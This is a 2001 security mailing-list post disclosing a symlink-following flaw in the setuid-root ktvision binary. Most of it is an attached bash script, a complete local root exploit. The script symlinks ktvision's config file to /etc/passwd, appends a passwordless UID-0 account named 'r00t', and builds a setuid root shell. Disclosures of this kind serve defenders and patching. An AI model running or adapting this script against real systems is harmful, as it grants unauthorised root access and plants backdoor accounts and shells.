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Symlinks symlinks...this time KTVision
From: Paul Starzetz <paul () starzetz de>
Date: Fri, 22 Jun 2001 18:37:45 +0200

Hi ppl,

the subject already states the problem: there is a symlink follow
problem in the (in many distributions suid root) ktvision binary <=
0.1.1-271.

It is discouraging that nowadays such trivial symlink attacks are still
possible. No comment anymore. In order to be complete: a bash script
demonstrating this vulnerability is attached below.

Ihq.




------------------------- ktv.sh -------------------------------

#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""

if ! test -u $target ; then
        echo "[-] $target not found"
        exit 1
fi;

echo "[+] $target found"

rm -f sush*
cat <<__DUPA__>>sush.c
#include <stdio.h>
main()
{
        setuid(geteuid());
        setgid(getegid());
        execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__

echo "    compiling sush"
res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then
        echo "[-] failed"
        rm sush* ktvback.*
        exit 2;
fi;

echo "[+] success"

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo ""
echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
        sleep 1;
        printf "  %.2d" $cnt
        cnt=$(($cnt+1))
        if test $cnt -ge $max ; then
                echo ""
                echo ""
                echo "[-] FAILED"
                rm sush* ktvback.*
                exit 2;
        fi;
done;

kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc

echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c

if ! test -u sush ; then
        echo "    hm strange error"
        rm sush* ktvback.*
        exit 1
fi;

echo ""
echo "starting ./sush"
./sush

#!plonk


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